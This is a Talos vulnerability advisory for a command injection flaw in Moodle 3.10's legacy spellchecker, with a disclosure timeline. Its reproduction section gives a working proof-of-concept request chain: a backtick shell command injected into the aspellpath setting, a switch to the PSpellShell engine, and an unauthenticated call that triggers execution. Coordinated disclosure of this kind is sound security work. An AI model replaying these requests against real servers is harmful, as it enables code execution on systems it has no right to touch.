Talos Vulnerability Report

Summary

A command execution vulnerability exists in the default legacy spellchecker plugin in Moodle 3.10. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerabilities.

Tested Versions

Moodle 3.10

Product URLs

https://moodle.org/

CVSSv3 Score

8.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

Moodle is a popular free and open-source learning management system, used by 262 million education users around the world.

Moodle’s security model relies on operating system permissions to prevent arbitrary server-side command execution via the web interface. A typical Moodle installation runs as the web server’s user and according to Moodle’s documentation “It is vital that the [Moodle] files are not writeable by the web server user.” If they are, an administrator can gain code execution trivially by installing plugins through the web interface. Moodle administrators can also specify paths to system binaries, as well as upload files to the Moodle data directory (outside of the web root) via course restoration; arbitrary code execution is prevented only because uploaded files do not have the execute bit set.

To exploit the shell injection vulnerability, the administrator sets a path to the legacy server-side spellcheck binary (aspellpath) containing a backtick shell injection and sets PSpellShell as the spellchecking engine. When a server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to unsafely construct a shell_exec command. The spellchecker plugin does not have to be enabled.

Reproduction

1. Set aspellpath. This payload assumes that the Moodle data directory is /var/www/moodledata.

     POST /moodle/admin/settings.php?section=systempaths HTTP/1.1
     Host: moodle.example.com
     User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate
     Referer: https://moodle.example.com/moodle/admin/settings.php?section=systempaths
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 220
     Origin: https://moodle.example.com
     Connection: close
     Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
     Upgrade-Insecure-Requests: 1
   
     section=systempaths&action=save-settings&sesskey=XXXXXXXXXX&return=&s__pathtophp=&s__pathtodu=&s__aspellpath=%60%2Fusr%2Fbin%2Fid+%3E+%2Fvar%2Fwww%2Fmoodledata%2Fpoc%60&s__pathtodot=&s__pathtogs=%2Fusr%2Fbin%2Fgs&s__pathtopython=
   

2. Set the spell engine to PSpellShell.

    POST /moodle/admin/settings.php?section=tinymcespellcheckersettings HTTP/1.1
    Host: moodle.example.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://moodle.example.com/moodle/admin/settings.php?section=tinymcespellcheckersettings
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 334
    Origin: https://moodle.example.com
    Connection: close
    Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
    Upgrade-Insecure-Requests: 1
       
    section=tinymcespellcheckersettings&action=save-settings&sesskey=XXXXXXXXXX&return=&s_tinymce_spellchecker_spellengine=PSpellShell&s_tinymce_spellchecker_spelllanguagelist=%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv
   

3. Invoke the spellcheck using either checkWords or getSuggestions. This step can be performed unauthenticated.

    POST /moodle/lib/editor/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
    Host: moodle.example.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    Content-Length: 57
    Origin: https://moodle.example.com
    Connection: close
       
    {"id":"c0","method":"checkWords","params":["en",["teh"]]}
   

Results:

root@moodle:~# cat /var/www/moodledata/poc
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Timeline

2021-03-26 - Vendor Disclosure
2021-04-21 - Vendor updated documentation to suggest best practices after installation
2021-06-22 - Public Release